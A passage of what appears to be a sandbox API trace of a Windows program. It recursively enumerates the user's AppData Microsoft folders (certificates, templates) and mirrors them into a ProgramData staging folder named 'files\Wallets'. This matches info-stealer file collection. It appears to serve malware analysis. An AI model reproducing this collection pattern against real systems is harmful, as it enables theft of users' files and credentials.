returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0052.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\" [0052.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\." [0052.297] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs" [0052.297] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\" [0052.297] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\." [0052.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.297] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.297] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0052.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\" [0052.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\.." [0052.297] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs" [0052.297] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\" [0052.297] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs\\.." [0052.297] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.297] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.297] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.297] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.297] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.297] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0052.298] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.298] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.298] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.298] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.298] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.298] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.298] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.298] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0052.298] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0052.298] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*.*" [0052.298] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a040 [0052.311] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\." [0052.311] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.311] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.311] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\." [0052.311] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.311] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.311] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\.." [0052.311] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.311] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\.." [0052.312] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.312] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.312] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.312] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Calendar insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" [0052.312] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Calendar insights.xltm" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Calendar insights.xltm") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Calendar insights.xltm" [0052.312] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.312] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Cashflow analysis.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" [0052.312] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Cashflow analysis.xltm" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Cashflow analysis.xltm") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Cashflow analysis.xltm" [0052.312] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.312] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Email Insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" [0052.312] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="Email Insights.xltm" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Email Insights.xltm") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\Email Insights.xltm" [0052.312] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.312] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0052.312] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\" [0052.312] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\", lpString2="LiveContent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent" [0052.312] lstrcmpW (lpString1="LiveContent", lpString2=".") returned 1 [0052.312] lstrcmpW (lpString1="LiveContent", lpString2="..") returned 1 [0052.312] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0052.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*.*" [0052.313] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a240 [0052.314] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0052.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\" [0052.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\." [0052.314] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent" [0052.314] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\" [0052.314] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\." [0052.314] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.314] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.314] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0052.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\" [0052.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\.." [0052.314] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent" | out: 